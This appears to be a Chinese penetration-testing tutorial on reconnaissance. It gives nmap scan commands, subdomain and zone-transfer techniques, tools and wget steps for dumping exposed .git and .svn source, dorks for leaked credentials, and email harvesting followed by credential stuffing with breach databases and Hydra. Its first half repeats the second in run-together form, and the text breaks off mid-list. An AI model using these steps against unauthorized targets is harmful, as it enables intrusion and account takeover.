DNS服务商的字典是最准确有效的,先找到一份DNSPod公布的使用最多的子域名:dnspod-top2000-sub-domains.txt//GitHub上的(2)自身泄露可通过https://github.com/FeeiCN/WebProxy代理电脑所有流量,从流量中搜索出现交互的子域名,如域名跳转、Response、网络请求中的子域名。缺点:麻烦且没产生交互的子域名无法探测,略鸡肋。 (3)搜索引擎使用百度,bing,Google等搜索引擎,可通过site关键字查询所有收录该域名的记录,子域名权重较高会排在前面。具体规则网上很多,可参考: https://zhuanlan.zhihu.com/p/22161675https://www.freebuf.com/articles/network/169601.html具体使用:以 secevery 为例,可以通过搜索 site:secevery.com 来得到指定的网站内容。


(4)第三方查询--有许多拥有大量 DNS 数据集的第三方服务,可通过他们来检索给定域的子域。如VirusTotal,dnsdumpser


脚本工具Sublist3r( https://github.com/aboul3la/Sublist3r) 使用各种资源来枚举子域。通过诸如 Google,Yahoo,Bing,百度和 Ask 等许多搜索引擎来枚举。Sublist3r 还使用 Netcraft,Virustotal,ThreatCrowd,DNSdumpster 和 ReverseDNS 等第三方服务来枚举子域。缺点:信息多很繁杂且有错误,许多站已经关闭,内容需要筛选。(5)crossdomain.xml利用跨域策略文件,以 http://www.sina.com.cn/crossdomain.xml为例:


(6)Google HTTPS证书信息Google透明度报告中的证书透明度项目是用来解决HTTPS证书系统的结构性缺陷,它能够让所有人查询各个网站的HTTPS证书信息,从而能发现签发了证书的子域名。利用SSL证书的注册登记发现子域名。


使用收集 CT(Certificate Transparency)日志的搜索引擎,是发现某个域证书最简单的方法。以下是一些流行的搜索引擎:https://crt.sh/https://transparencyreport.google.com/https/certificateshttps://censys.io/可以结合Masscan# ct.py - extracts domain names from CT Logs(shippedwith massdns) # massdns - will find resolvable domains & adds them to a file./ct.py icann.org | ./bin/massdns -r resolvers.txt -tA -q -a -o -w icann_resolvable_domains.txt -//读取文件里面的CT信息搜索还可以直接通过本地证书:大厂的SSL证书一般都是一证多用,根据这个特性,可以得到一些子域名.eg:





使用SSL证书缺点很明显,没有注册SSL证书的子域名无法查到。 (7)自治系统编号(ASN)使用dig或host来解析指定域的IP地址(可以得到IP所在组织的IP域范围)。使用IP查找ASN号码:https://asn.cymru.com/cgi-bin/whois.cgi


也可以使用域名查询ASN号码:https://bgp.he.net/


找到的ASN号码可用于查找域的网络块。使用Nmap脚本可以实现使用ASN号码来查找域的网络块。$ nmap --script targets-asn --script-args targets-asn.asn=XXXX


(8)利用域传送漏洞因为对DNS服务器配置不当,导致任意IP都可以直接向DNS服务器请求数据,从而导致该域名的所有子域名暴露,可以写脚本也可以通过网站查询DNS。http://tool.chinaz.com/dns/https://tool.lu/dns/


域传送漏洞漏洞很老旧不常见。kali下检测:root@kali:~# dig +short @8.8.8.8 secevery.com nsdns24.hichina.com.dns23.hichina.com.得到了目标ns服务器,接下来使用目标ns服务器尝试传送dig @dns24.hichina.com secevery.com axfr发现Transfer failed失败即不存在漏洞。Kali下dns子域探测工具:dnsmap,dnsenum,fierce。也可以Windows下nslookup查询:


(9) FDNS(forward DNS,DNS转发)FDNS数据集作为 Project Sonar 的一部分发布。这些数据是通过提取来自多个源的域名并且给每个域发送 ANY 请求来收集的。这些数据是 gzip 格式的 json 文件。我们可以解析数据集来查找给定域的子域。数据集是很大的(压缩后约 20 + GB,未压缩约有 300 + GB)。https://registry.opendata.aws/rapid7-fdns-any/https://github.com/rapid7/sonar/wiki/Forward-DNS//GitHub说明# Command to parse& extract sub-domains for a given domain$ curl -silent https://scans.io/data/rapid7/sonar.fdns_v2/20170417-fdns.json.gz | pigz -dc | grep “.icann.org” | jqFDNS能搜索到的子域名比爆破和CT查询和存在域传送加起来都多。但文件过大使用起来很费事。


(10)zone walking(NSEC)区域行走DNSSEC协议的一个重要功能是能根据"DNS中的已验证拒绝存在"权威的断言给定域名不存在,但它允许区域行走,可以从一个域到另一个域。协议这样写->https://tools.ietf.org/rfc/rfc7129.txt现在主流的NSEC3协议是NSEC协议的替代,但是仍然有很多域在使用NSEC。使用ldns-walk工具来检测使用NSEC域名TLD列表 http://data.iana.org/TLD/tlds-alpha-by-domain.txt安装之后$ ldns-walk domainname即可使用//linux下安装使用。wget https://www.nlnetlabs.nl/downloads/ldns/ldns-1.7.0.tar.gz 除了这些还有如网络深度爬虫等方法能探测子域名。2.关联域名发现(1)注册人和邮箱反查域名先whois获取注册人和邮箱,再通过注册人和邮箱反查域名。


https://whois.chinaz.com/http://whois.4.cn/reversehttps://whois.aizhan.com/reverse-whois/http://www.langongju.com/domain/reverse缺点很明显:除了大厂之外很多公司都是DNS解析的运营商注册的,查到的是运营商代替个人和小公司注册的网站信息。(2)相似域名查询根据目标公司名称来查找可能是目标资产的相似域名。


https://www.whois.net/https://typoku.com.cutestat.com/https://github.com/elceef/dnstwist//相似、钓鱼域名检测。 0X02:端口信息探测1、快速判断端口是否开启:a、http://coolaf.com/tool/port使用方式:        直接输入要测试的域名,然后指定要测试的端口。        不过每次只能指定50个端口。


b、https://tool.lu/portscan/index.html    跟上一个工具差不多都一样,只不过每次能测试100个端口。使用方式也一样。


c、http://www.matools.com/port    没有说明端口限制,并且会显示端口的服务。只是每次扫描的时候,需要输入验证码。 2、对服务器的信息进行详细的收集:主机发现,生成存活主机列表:nmap -sn -T4 -oG Discovery.gnmap  192.168.10.0/24grep "Status: Up" Discovery.gnmap | cut -f 2 -d ' ' > LiveHosts.txt 端口发现,发现全部端口:nmap -sS -T4 -Pn -p 0-65535 -oN FullTCP -iL LiveHosts.txt        #一般选用这个,因为速度比较快。nmap -sU -T4 -Pn -p 0-65535 -oN FullUDP -iL LiveHosts.txt 发现大部分常用的端口:nmap -sS -T4 -Pn -oG TopTCP -iL LiveHosts.txtnmap -sU -T4 -Pn -oN TopUDP -iL LiveHosts.txtnmap -sS -T4 -Pn --top-ports 3674 -oG 3674 -iL LiveHosts.txt 系统和服务检测:nmap -O -sV -T4 -Pn -p U:53,111,137,T:21-25,80,139,8080 -oG OS_Service_Detect -iL LiveHosts.txt 系统扫描:nmap -O -T4 -Pn -oG OSDetect -iL LiveHosts.txtnmap -O --osscan-guess 192.168.1.134     服务版本侦测:nmap -sV -T4 -Pn -oG ServiceDetect -iL LiveHosts.txtNmap命令详见: http://zone.secevery.com/article/2450X03:网站信息收集1、指纹识别代码框架识别、中间件、CMS识别:     https://www.whatweb.net/     能得到的目标网站的    IP、中间件类型以及版本、语言环境(带版本)


    http://www.yunsee.cn/finger.html    只能判断出一种语言环境,代码框架、中间件的版本信息。


    http://whatweb.bugscaner.com/look/    代码框架、web框架为ASP.NET、语言为PHP、中间件为IIS6.0   除此之外还有一些额外的信息:同ip网站CMS查询、icp备案查询、whois查询、网站地址、服务器的操作系统、子域名查询、网站CDN服务商查询、CDN缓存命中查询。    信息还是挺多的。与上边两个相比,我更倾向于选择第三个网站,云悉的信息那么少,大概是没有登陆的缘故吧。它的账号是要购买的。








2、waf识别:    wafw00f    一个识别waf的很成熟的工具,使用方式也很简单。        github项目地址:https://github.com/EnableSecurity/wafw00f        kali上自带wafw00f,一条命令直接使用。建议最好在kali下使用,windows下的使用很麻烦。


    nmap的扩展脚本,众所周知,nmap是一个端口扫描工具。但是它额外有的扩展模块,使得它具有了识别和绕过waf的能力。


2、敏感路径探测1、Git源码泄露    成因及危害:当前大量开发人员使用git进行版本控制,对网站进行自动部署。如果配置不当,可能会将.git文件部署到线上环境,这就引起了git泄露漏洞。在网站安全维护方面,git和svn信息泄露,是非常常见也是非常致命的漏洞。会导致整个网站的源码泄露。    漏洞检测:        批量寻找:".git" intitle:"index of"


    对单个网站进行检测:         a、githack,github上的地址:https://github.com/lijiejie/GitHack           使用方法:python GitHack.py http://xxx.com/.git/           这个直接就可以获取到网站的源码和图片该工具建议在有git工具的linux环境下使用,我在                   windows10环境下使用的时候,会报Error 10060和Error 183





手工验证的方法,如下。在kali linux下,        wget --mirror --include-directories=/.git http://www.xxx.com/.git        cd www.xxx.com    www.xxx.com文件夹是自动创建的。        git reset --hard后续学习:https://blog.csdn.net/qq_36869808/article/details/88909961     2、SVN源码泄露    介绍:跟git一样,都是用来版本迭代的一个功能。具体一点就是使用svn checkout功能来更新代码。    产生原因以及危害:没有配置好目录访问权限,从而导致该漏洞被人利用,整个网站的源码泄露。    批量寻找:".svn" intitle:"index of"    利用工具及过程:        工具:svnExploit        github地址:https://github.com/admintony/svnExploit        利用过程:            a、判断.svn的版本信息





前者版本小于1.7,后者版本大于1.7    版本小于1.7的:        python2 SvnExploit.py -u https://xxx.com/.svn    查看信息,把泄露的文件列出来。        python2 SvnExploit.py -u https://xxx.com/.svn --dump    将网站的源码下载下来。





    版本大于1.7的,        1、列出所有的文件。        2、把所有的文件dump下来。





    后续钻研:https://www.cnblogs.com/batsing/p/svn-bug.html 3、网站文件备份    直接扫目录就可以得到,工具:7kbscan、御剑都可以。


0X04:互联网信息收集(1)google和GitHub使用谷歌关键字。例如搜索site:github.com secevery.com搜索目标公司程序员上传到GitHub上的代码和敏感信息,可能泄露如数据库连接信息、邮箱密码、uc-key、阿里的osskey、甚至是网站源代码。


还可以site:GitHub.com svn(smtp等) @XX.com(user,password)等在后面添加限制脚本类型或者服务类型。intext:后台登录查询页面中含有后台管理的网站,这里还可以利用site:语句(下同)指定查找的网站(包含子域名)中页面含有后台登录的站点


intitle:管理登录  查找网站标题中存在管理登录的页面


filetype: pdf查找网站中pdf格式的文件,也可以搜索网站sql或者压缩包等文件inurl:  php?id=查找url中带有php?id=的网站filetype:php  site:secevery.com查找secevery中的PHP文件


(2)shodan搜索引擎shodan网络搜索引擎偏向网络设备(摄像头、路由器)以及服务器(端口、开启服务、服务器平台版本)的探测,具体内容可上网查阅,这里给出它的高级搜索语法。https://www.shodan.io/


可以直接搜索到站点IP开启的端口、服务器版本及平台、开启服务、地理位置等搜索语法可以直接搜索到站点IP开启的端口、服务器版本及平台、开启服务、地理位置等搜索语法hostname:  搜索指定的主机或域名,例如 hostname:”google”port:  搜索指定的端口或服务,例如 port:”21”country:  搜索指定的国家,例如 country:”CN”city:  搜索指定的城市,例如 city:”NanYang”org:  搜索指定的组织或公司,例如 org:”google”isp:  搜索指定的ISP供应商,例如 isp:”China Telecom”product:  搜索指定的操作系统/软件/平台,例如 product:”Apache httpd”version:  搜索指定的软件版本,例如 version:”1.6.2”geo:  搜索指定的地理位置,例如 geo:”31.8639, 117.2808”before/after:  搜索指定收录时间前后的数据,格式为dd-mm-yy,例如 before:”11-11-15”net:  搜索指定的IP地址或子网,例如 net:”210.45.240.0/24”  (3)censys搜索引擎censys搜索引擎功能与shodan类似,偏向网络设备和服务器的信息探测。地址:https://www.censys.io/


搜索语法默认情况下censys支持全文检索。23.0.0.0/8 or 8.8.8.0/24  可以使用and or not80.http.get.status_code: 200  指定状态80.http.get.status_code:[200 TO 300]  200-300之间的状态码location.country_code: DE  国家protocols: (“23/telnet” or “21/ftp”)  协议tags: scada  标签80.http.get.headers.server:nginx  服务器类型版本autonomous_system.description: University  系统描述    (4)FoFa搜索引擎FoFa搜索引擎偏向资产搜索。http://fofa.so


搜索语法直接输入查询语句,将从标题,html内容,http头信息,url字段中搜索title="abc" 从标题中搜索abc。header="abc" 从http头中搜索abc。body="abc" 从html正文中搜索abc。domain="secevery.com" 搜索根域名带有secevery.com的网站。host=".gov.cn" 从url中搜索.gov.cn,注意搜索要用host作为名称。port="443" 查找对应443端口的资产。ip="1.1.1.1" 从ip中搜索包含1.1.1.1的网站,注意搜索要用ip作为名称。 如果想要查询网段,可以是:ip="192.168.111.1/24",protocol="https" 搜索制定协议类型(在开启端口扫描的情况下有效)。city="Beijing" 搜索指定城市的资产。region="Henan" 搜索指定行政区的资产。country="CN" 搜索指定国家(编码)的资产。cert="google.com" 搜索证书(https或者imaps等)中带有google.com的资产。banner=users && protocol=ftp 搜索FTP协议中带有users文本的资产。type=service 搜索所有协议资产,支持subdomain和service两种。os=windows 搜索Windows资产。例: 搜索Windows资产server=="Microsoft-IIS/7.5" 搜索IIS 7.5服务器。例: 搜索IIS 7.5服务器app="海康威视-视频监控" 搜索海康威视设备,更多app规则。例: 搜索海康威视设备after="2017" && before="2017-10-01" 时间范围段搜索。例: 时间范围段搜索高级搜索:可以使用括号 和 && || !=等符号,如title="powered by" && title!=discuztitle!="powered by" && body=discuz( body="content=\"WordPress" || (header="X-Pingback" && header="/xmlrpc.php" && body="/wp-includes/") ) && host="gov.cn" 新增==完全匹配的符号,可以加快搜索速度,比如查找qq.com所有host,可以是domain=="qq.com"(5)钟馗之眼(Zoomeye) 钟馗之眼搜索引擎偏向web应用层面的搜索。地址:https://www.zoomeye.org/


搜索语法app:nginx  组件名ver:1.0  版本os:windows  操作系统country:”China”  国家city:”hangzhou”  城市port:80  端口hostname:google  主机名site:thief.one  网站域名desc:nmask  描述keywords:nmask’blog  关键词service:ftp  服务类型ip:8.8.8.8  ip地址cidr:8.8.8.8/24  ip地址段(6)邮箱收集
--首先确定邮件服务器本身有没有什么错误配置,没有禁用VRFY或EXPN命令导致的用户信息泄露,如果有可以直接把目标的邮件用户都爆出来,也可以尝试弱口令。




--收集目标的各类webmail入口。
找目标的各种webmail入口,不一定有,但这也是为了后面一旦拿到密码尝试撞库的手段,如果用的是某种开源WEB邮件程序,也可以尝试找对应版本的exp。
--提取whois邮箱去搜索引擎搜索,拿到旧密码可以去社工库去撞库。
--直接从目标站点查找邮箱。一般的网站都有的"联系我们"之类的链接或许就是邮箱,当然如果是[email]support@target.com[/email]或者[email]info@target.com[/email]这种邮箱直接忽略,我们需要有互动的邮箱,拿到后都试一试撞一撞库和搜索引擎跑一跑。




---利用各种工具直接抓取目标邮箱
theharvester:一个比较老的邮箱抓取脚本,主要是从各种搜索引擎抓取邮箱,抓取后的文档杂乱需要自己筛选分析。
https://github.com/laramies/theHarvester下载或者Kali直接运行。
-d 参数指定目标域
-l 参数指定数量
-b 参数指定端口
-s 指定起始数值




TheHarvester+Hydra可以大量扫描弱口令账户。
也可以使用metasploit的 auxiliary/gather/search_email_collector 模块:
 
msfconsole打开MSF控制台,输入use auxiliary/gather/search_email_collector,然后set domain XXmail.com设置目标邮件网站,然后show options显示搜索来源,exploit





目前使用菜单内的google选项去搜索邮箱需要翻墙,直接用如图。

两种方法都可以将结果保存为文件然后使用hydra爆破。
(7)历史漏洞信息
虽然乌云关了但是镜像上面还有大量企业漏洞信息,此外CNVD,seebug等平台
也能查找一些企业历史漏洞信息。




 
0X05:人力资源情报收集
(1)招聘信息
用google从招聘网站找到信息再去查找企业信息








通过招聘信息我们找到了公司全称和负责人构成和邮箱电话等信息。
通过这些信息可以与前面的WHOIS反查结合。
 
社会工程学方面的知识太繁杂就先不讨论了。
参考:
https://wh0ale.github.io/2019/02/22/SRC%E4%B9%8B%E4%BF%A1%E6%81%AF%E6%94%B6%E9%9B%86/
https://www.secpulse.com/archives/74312.html
https://www.freebuf.com/articles/web/190403.html
http://www.davex.pw/2016/07/01/How-To-Fuzz-Sub-Domain/
https://www.freebuf.com/articles/web/179043.html
https://cloud.tencent.com/developer/article/1180157
https://klionsec.github.io/2014/12/22/email-collector/
https://www.secpulse.com/archives/69237.html
https://yq.aliyun.com/articles/366927
https://www.secpulse.com/archives/29475.html
http://www.lijiejie.com/ds_store_exp_ds_store_file_disclosure_exploit/
https://zhuanlan.zhihu.com/p/22161675
https://zhuanlan.zhihu.com/p/22407076
https://www.jianshu.com/p/d2af08e6f8fb
https://blog.csdn.net/zvall/article/details/50115815 查看全部
前言:
信息收集分类:

1、主动式信息搜集(可获取到的信息较多,但易被目标发现)
2、通过直接发起与被测目标网络之间的互动来获取相关信息,如通过Nmap扫描目标系统。
3、被动式信息搜集(搜集到的信息较少,但不易被发现,如通过搜索引擎搜索)
4、通过第三方服务来获取目标网络相关信息。如通过搜索引擎方式来搜集信息。

搜集什么信息


1、whois信息
2、网站架构(语言、中间件、数据库、平台)
3、dns信息(通过查询dns可以检测是否存在dns域传送和域行走)
4、子域名搜集(搜索引擎和工具以及漏洞)
5、敏感目录及敏感信息、源码泄露(搜索引擎+工具、GitHub等)
6、系统漏洞(系统版本漏洞是否修补)
7、旁站查询(通过IP反查)
8、C端查询(确认大公司或组织网段内子站)
9、指纹信息(框架探测)
10、端口服务
11、备案信息(whois反查、)
12、真实ip(绕过CDN)
13、探测waf(后续可确定Bypass方式)
14、社工(朋友圈、微博、qq空间、求职、交易等社交平台)
15、企业信息(天眼查、企业信用信息公示系统、工业和信息化部ICP/IP地址/域名信息备案管理系统)


信息搜集的流程
上面我已经列举了需要搜集的信息,然后我给它们分了一下类。
我考虑到一个网站的组成是由域名、服务器、网站程序组成的。
因此:


首先入手域名方面:whois、子域名、备案信息;
其次是入手服务器方面:dns信息、端口服务、真实ip;
然后入手网站程序(web层)方面:网站架构、敏感目录及敏感信息、源码泄露(搜索引擎+工具)、脆弱系统(网络空间)、旁站查询、C端查询、指纹信息、探测waf;
最后入手企业方面:天眼查、企业信用信息公示系统


 
0x00:IP发现
  • 1.IP反查域名(查询旁站)
如果你的渗透目标网站是一台虚拟主机,那么通过IP反查到的域名信息往往很有价值, 因为一台物理服务器上面可能运行多个虚拟主机,这些虚拟主机具有不同的域名,但通常共用一个IP地址。如果你知道有哪些网站共用这台服务器,就有可能通过此台服务器上其他网站的漏洞获取服务器控制权,进而迂回获取渗透目标的权限,这种技术也称为“旁注”。
IP反查域名1.png
站点和工具:
 
  • 2.域名查询IP
知道一个站点的域名需要得到它的IP以便之后获取端口信息或扫描等后续工作。
域名查IP信息.png
站点和工具:
注:判断是否目标使用CDN(1).ping 目标主域,观察域名的解析情况,以此来判断是否使用了 CDN;(2).利用在线网站 17CE,进行全国多地区的 ping 服务器操作,然后对比每个地区 ping 出的 IP 结果,查看这些 IP 是否一致,如果都是一样的,极有可能不存在 CDN。如果 IP 大多不太一样或者规律性很强,可是尝试查询这些 IP 的归属地,判断是都存在 IP。在确认目标用了 CDN 的情况下:
  • 内部邮箱源(让服务器给你发邮件看邮件头IP)(最可靠)
  • 通过zmpap全网爆破查询真实IP(可靠)
  • 扫描网站测试文件
  • 分站域名(根据收集分站查看产生交互最多的站)
  • 国外访问(App Synthetic Monitor)
  • 查询域名解析记录(NETCRAFT)(查询域名历史IP)
  • 如果网站有 App,抓 App 的请求
  • 绕过 CloudFlare CDN 查找真实 IP(CloudFlareWatch)
   
  • 3.IP WHOIS查询
IP WHOIS就是查询IP的详细信息的数据库(如IP使用人和IP使用人的相关信息等)。
IP_WHOIS查询1.png
 
  •  4.C端存活主机探测
C段主机探测.png
也可以使用Nmap扫描:
Nmap: nmap -sP www.XXX.com/24 ||  nmap -sP 192.168.1.*
  • 5.C段常见端口探测
  • (1)最笨的方法:C段导入到文件,nmap扫描。
-iL参数:扫描文件中列出的所有IP地址。nmap -iL ip.txt。配合其他自定义限制条件扫描。
  • (2)其他工具
神器masscan: https://github.com/robertdavidgraham/masscan
  • Masscan安装和使用:
http://zone.secevery.com/article/1098
  •  
  0x01:域名发现
  • 1.子域名发现
开始渗透一个网站前,需要知道网站的网络资产:域名、IP等,而IP和域名有着直接的解析关系,所以如何找到网站所有子域名是关键。
  • (1)DNS枚举(根据字典爆破)
域名可以通过收集常用域名字典,去DNS服务商查询是否有解析记录来枚举子域名。很多工具都是通过预定义的字典枚举:如Lay子域名挖掘机,subbrute等。
DNS暴力枚举.png
DNS服务商的字典是最准确有效的,先找到一份DNSPod公布的使用最多的子域名:dnspod-top2000-sub-domains.txt//GitHub上的
  • (2)自身泄露
可通过https://github.com/FeeiCN/WebProxy代理电脑所有流量,从流量中搜索出现交互的子域名,如域名跳转、Response、网络请求中的子域名。缺点:麻烦且没产生交互的子域名无法探测,略鸡肋。
 
  • (3)搜索引擎
使用百度,bing,Google等搜索引擎,可通过site关键字查询所有收录该域名的记录,子域名权重较高会排在前面。具体规则网上很多,可参考: https://zhuanlan.zhihu.com/p/22161675https://www.freebuf.com/articles/network/169601.html具体使用:以 secevery 为例,可以通过搜索 site:secevery.com 来得到指定的网站内容。
googlehacking2.png
  • (4)第三方查询
--有许多拥有大量 DNS 数据集的第三方服务,可通过他们来检索给定域的子域。如VirusTotal,dnsdumpser
VirusTotal.png
脚本工具Sublist3r( https://github.com/aboul3la/Sublist3r) 使用各种资源来枚举子域。通过诸如 Google,Yahoo,Bing,百度和 Ask 等许多搜索引擎来枚举。Sublist3r 还使用 Netcraft,Virustotal,ThreatCrowd,DNSdumpster 和 ReverseDNS 等第三方服务来枚举子域。缺点:信息多很繁杂且有错误,许多站已经关闭,内容需要筛选。
  • (5)crossdomain.xml
利用跨域策略文件,以 http://www.sina.com.cn/crossdomain.xml为例:
crossxml.png
  • (6)Google HTTPS证书信息
Google透明度报告中的证书透明度项目是用来解决HTTPS证书系统的结构性缺陷,它能够让所有人查询各个网站的HTTPS证书信息,从而能发现签发了证书的子域名。利用SSL证书的注册登记发现子域名。
SSL证书.png
使用收集 CT(Certificate Transparency)日志的搜索引擎,是发现某个域证书最简单的方法。以下是一些流行的搜索引擎:
可以结合Masscan# ct.py - extracts domain names from CT Logs(shippedwith massdns) # massdns - will find resolvable domains & adds them to a file./ct.py icann.org | ./bin/massdns -r resolvers.txt -tA -q -a -o -w icann_resolvable_domains.txt -//读取文件里面的CT信息搜索还可以直接通过本地证书:大厂的SSL证书一般都是一证多用,根据这个特性,可以得到一些子域名.eg:
证书.png
SSL本地证书.png
使用SSL证书缺点很明显,没有注册SSL证书的子域名无法查到。 
  • (7)自治系统编号(ASN)
使用dig或host来解析指定域的IP地址(可以得到IP所在组织的IP域范围)。使用IP查找ASN号码:https://asn.cymru.com/cgi-bin/whois.cgi
IP查询ASN.png
也可以使用域名查询ASN号码:https://bgp.he.net/
域名查询ASN.png
找到的ASN号码可用于查找域的网络块。使用Nmap脚本可以实现使用ASN号码来查找域的网络块。$ nmap --script targets-asn --script-args targets-asn.asn=XXXX
NmapASN查询域.png
  • (8)利用域传送漏洞
因为对DNS服务器配置不当,导致任意IP都可以直接向DNS服务器请求数据,从而导致该域名的所有子域名暴露,可以写脚本也可以通过网站查询DNS。
DNS域传送获取子域名.png
域传送漏洞漏洞很老旧不常见。kali下检测:root@kali:~# dig +short @8.8.8.8 secevery.com ns
得到了目标ns服务器,接下来使用目标ns服务器尝试传送dig @dns24.hichina.com secevery.com axfr发现Transfer failed失败即不存在漏洞。Kali下dns子域探测工具:dnsmap,dnsenum,fierce。也可以Windows下nslookup查询:
nslookup确认.png
  • (9) FDNS(forward DNS,DNS转发)
FDNS数据集作为 Project Sonar 的一部分发布。这些数据是通过提取来自多个源的域名并且给每个域发送 ANY 请求来收集的。这些数据是 gzip 格式的 json 文件。我们可以解析数据集来查找给定域的子域。数据集是很大的(压缩后约 20 + GB,未压缩约有 300 + GB)。# Command to parse& extract sub-domains for a given domain$ curl -silent https://scans.io/data/rapid7/sonar.fdns_v2/20170417-fdns.json.gz | pigz -dc | grep “.icann.org” | jqFDNS能搜索到的子域名比爆破和CT查询和存在域传送加起来都多。但文件过大使用起来很费事。
子域名发现多少.jpg
  • (10)zone walking(NSEC)区域行走
DNSSEC协议的一个重要功能是能根据"DNS中的已验证拒绝存在"权威的断言给定域名不存在,但它允许区域行走,可以从一个域到另一个域。协议这样写->https://tools.ietf.org/rfc/rfc7129.txt现在主流的NSEC3协议是NSEC协议的替代,但是仍然有很多域在使用NSEC。使用ldns-walk工具来检测使用NSEC域名TLD列表 http://data.iana.org/TLD/tlds-alpha-by-domain.txt安装之后$ ldns-walk domainname即可使用//linux下安装使用。wget https://www.nlnetlabs.nl/downloads/ldns/ldns-1.7.0.tar.gz 除了这些还有如网络深度爬虫等方法能探测子域名。
  • 2.关联域名发现
  • (1)注册人和邮箱反查域名
先whois获取注册人和邮箱,再通过注册人和邮箱反查域名。
注册人和邮箱反查域名.png
缺点很明显:除了大厂之外很多公司都是DNS解析的运营商注册的,查到的是运营商代替个人和小公司注册的网站信息。
  • (2)相似域名查询
根据目标公司名称来查找可能是目标资产的相似域名。
相似域名查询.png
 0X02:端口信息探测
  • 1、快速判断端口是否开启:
a、http://coolaf.com/tool/port使用方式:        直接输入要测试的域名,然后指定要测试的端口。        不过每次只能指定50个端口。
端口信息.png
b、https://tool.lu/portscan/index.html    跟上一个工具差不多都一样,只不过每次能测试100个端口。使用方式也一样。
端口信息2.png
c、http://www.matools.com/port    没有说明端口限制,并且会显示端口的服务。只是每次扫描的时候,需要输入验证码。 
  • 2、对服务器的信息进行详细的收集:
主机发现,生成存活主机列表:nmap -sn -T4 -oG Discovery.gnmap  192.168.10.0/24grep "Status: Up" Discovery.gnmap | cut -f 2 -d ' ' > LiveHosts.txt 端口发现,发现全部端口:nmap -sS -T4 -Pn -p 0-65535 -oN FullTCP -iL LiveHosts.txt        #一般选用这个,因为速度比较快。nmap -sU -T4 -Pn -p 0-65535 -oN FullUDP -iL LiveHosts.txt 发现大部分常用的端口:nmap -sS -T4 -Pn -oG TopTCP -iL LiveHosts.txtnmap -sU -T4 -Pn -oN TopUDP -iL LiveHosts.txtnmap -sS -T4 -Pn --top-ports 3674 -oG 3674 -iL LiveHosts.txt 系统和服务检测:nmap -O -sV -T4 -Pn -p U:53,111,137,T:21-25,80,139,8080 -oG OS_Service_Detect -iL LiveHosts.txt 系统扫描:nmap -O -T4 -Pn -oG OSDetect -iL LiveHosts.txtnmap -O --osscan-guess 192.168.1.134     服务版本侦测:nmap -sV -T4 -Pn -oG ServiceDetect -iL LiveHosts.txtNmap命令详见: http://zone.secevery.com/article/245
  • 0X03:网站信息收集
  • 1、指纹识别
代码框架识别、中间件、CMS识别:     https://www.whatweb.net/     能得到的目标网站的    IP、中间件类型以及版本、语言环境(带版本)
whatweb.png
    http://www.yunsee.cn/finger.html    只能判断出一种语言环境,代码框架、中间件的版本信息。
yunsee.png
    http://whatweb.bugscaner.com/look/    代码框架、web框架为ASP.NET、语言为PHP、中间件为IIS6.0   除此之外还有一些额外的信息:同ip网站CMS查询、icp备案查询、whois查询、网站地址、服务器的操作系统、子域名查询、网站CDN服务商查询、CDN缓存命中查询。    信息还是挺多的。与上边两个相比,我更倾向于选择第三个网站,云悉的信息那么少,大概是没有登陆的缘故吧。它的账号是要购买的。
1.png
2.png
3.png
  • 2、waf识别:
    wafw00f    一个识别waf的很成熟的工具,使用方式也很简单。        github项目地址:https://github.com/EnableSecurity/wafw00f        kali上自带wafw00f,一条命令直接使用。建议最好在kali下使用,windows下的使用很麻烦。
wafw00f.png
    nmap的扩展脚本,众所周知,nmap是一个端口扫描工具。但是它额外有的扩展模块,使得它具有了识别和绕过waf的能力。
nmap.png
  • 2、敏感路径探测
  • 1、Git源码泄露
    成因及危害:当前大量开发人员使用git进行版本控制,对网站进行自动部署。如果配置不当,可能会将.git文件部署到线上环境,这就引起了git泄露漏洞。在网站安全维护方面,git和svn信息泄露,是非常常见也是非常致命的漏洞。会导致整个网站的源码泄露。    漏洞检测:        批量寻找:".git" intitle:"index of"
.git文件泄露_.png
    对单个网站进行检测:         a、githack,github上的地址:https://github.com/lijiejie/GitHack           使用方法:python GitHack.py http://xxx.com/.git/           这个直接就可以获取到网站的源码和图片该工具建议在有git工具的linux环境下使用,我在                   windows10环境下使用的时候,会报Error 10060和Error 183
.git文件泄露1_.png
.git文件泄露2_.png
手工验证的方法,如下。在kali linux下,        wget --mirror --include-directories=/.git http://www.xxx.com/.git        cd www.xxx.com    www.xxx.com文件夹是自动创建的。        git reset --hard后续学习:https://blog.csdn.net/qq_36869808/article/details/88909961     
  • 2、SVN源码泄露
    介绍:跟git一样,都是用来版本迭代的一个功能。具体一点就是使用svn checkout功能来更新代码。    产生原因以及危害:没有配置好目录访问权限,从而导致该漏洞被人利用,整个网站的源码泄露。    批量寻找:".svn" intitle:"index of"    利用工具及过程:        工具:svnExploit        github地址:https://github.com/admintony/svnExploit        利用过程:            a、判断.svn的版本信息
1---小于1.7的_.png
2---大于1.7的_.png
前者版本小于1.7,后者版本大于1.7    版本小于1.7的:        python2 SvnExploit.py -u https://xxx.com/.svn    查看信息,把泄露的文件列出来。        python2 SvnExploit.py -u https://xxx.com/.svn --dump    将网站的源码下载下来。
3---小于1.7svn利用_.png
4---小于1.7svn利用_.png
    版本大于1.7的,        1、列出所有的文件。        2、把所有的文件dump下来。
3---小于1.7svn利用_.png
6---.png
    后续钻研:https://www.cnblogs.com/batsing/p/svn-bug.html 
  • 3、网站文件备份
    直接扫目录就可以得到,工具:7kbscan、御剑都可以。
网站源码泄露.png
  • 0X04:互联网信息收集
  • (1)google和GitHub
使用谷歌关键字。例如搜索site:github.com secevery.com搜索目标公司程序员上传到GitHub上的代码和敏感信息,可能泄露如数据库连接信息、邮箱密码、uc-key、阿里的osskey、甚至是网站源代码。
GitHub搜索.png
还可以site:GitHub.com svn(smtp等) @XX.com(user,password)等在后面添加限制脚本类型或者服务类型。
  • intext:后台登录
查询页面中含有后台管理的网站,这里还可以利用site:语句(下同)指定查找的网站(包含子域名)中页面含有后台登录的站点
后台登录.png
  • intitle:管理登录  
查找网站标题中存在管理登录的页面
管理登录.png
  • filetype: pdf
查找网站中pdf格式的文件,也可以搜索网站sql或者压缩包等文件
  • inurl:  php?id=
查找url中带有php?id=的网站
  • filetype:php  site:secevery.com查找secevery中的PHP文件
类型限制.png
  • (2)shodan搜索引擎
shodan网络搜索引擎偏向网络设备(摄像头、路由器)以及服务器(端口、开启服务、服务器平台版本)的探测,具体内容可上网查阅,这里给出它的高级搜索语法。https://www.shodan.io/
路由探测.png
可以直接搜索到站点IP开启的端口、服务器版本及平台、开启服务、地理位置等搜索语法
可以直接搜索到站点IP开启的端口、服务器版本及平台、开启服务、地理位置等搜索语法
  • hostname:  搜索指定的主机或域名,例如 hostname:”google”
